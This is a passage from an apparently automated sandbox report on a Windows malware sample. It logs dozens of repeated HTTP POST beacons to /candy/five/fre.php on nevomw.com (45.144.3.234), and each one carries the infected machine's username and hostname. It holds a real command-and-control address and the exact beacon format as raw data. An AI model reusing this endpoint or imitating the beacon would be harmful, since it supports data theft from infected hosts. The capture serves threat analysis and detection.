Dec 2, 2020 11:54:18.084548950 CET	1639	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.6	49957	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:18.320179939 CET	1639	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:18.373460054 CET	1640	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:18.450665951 CET	1640	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.6	49958	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:18.788388968 CET	1641	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:18.841100931 CET	1641	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:18.917300940 CET	1642	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.6	49959	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:19.241028070 CET	1643	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:19.293788910 CET	1643	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:19.373668909 CET	1643	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.6	49734	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:51.988950968 CET	101	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:52.041430950 CET	101	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:52.132110119 CET	101	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.6	49960	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:19.628892899 CET	1644	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:19.683029890 CET	1644	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:19.758888006 CET	1645	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.6	49961	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:20.012145042 CET	1646	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:20.064877987 CET	1646	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:20.137866020 CET	1646	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.6	49962	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:20.474217892 CET	1647	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:20.527012110 CET	1647	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:20.612632036 CET	1648	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.6	49963	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:20.865487099 CET	1648	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:20.920099020 CET	1649	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:20.993083000 CET	1649	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.6	49964	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:21.251329899 CET	1650	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:21.302613020 CET	1650	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:21.376930952 CET	1651	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.6	49965	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:21.612720013 CET	1651	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:21.665374041 CET	1652	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:21.738056898 CET	1652	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.6	49966	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:21.993889093 CET	1653	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:22.045826912 CET	1653	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:22.123760939 CET	1653	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.6	49967	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:22.405112982 CET	1654	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:22.467976093 CET	1655	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:22.542134047 CET	1655	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.6	49968	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:22.819144964 CET	1656	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:22.871330023 CET	1656	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:22.944391966 CET	1656	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.6	49969	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:23.191459894 CET	1657	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:23.244364023 CET	1658	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:23.319731951 CET	1658	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.6	49735	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:52.491063118 CET	108	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:52.544442892 CET	108	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:52.618566990 CET	120	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.6	49970	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:23.600042105 CET	1659	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:23.653995037 CET	1659	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:23.739670992 CET	1659	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.6	49971	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:24.003742933 CET	1660	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:24.056588888 CET	1660	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:24.134993076 CET	1661	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.6	49972	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:24.413582087 CET	1662	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:24.465447903 CET	1662	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:24.556477070 CET	1662	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.6	49973	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:24.870784044 CET	1663	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:24.924897909 CET	1663	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:25.002434015 CET	1664	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.6	49974	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:25.288194895 CET	1665	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:25.340574980 CET	1665	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:25.414858103 CET	1665	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.6	49975	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
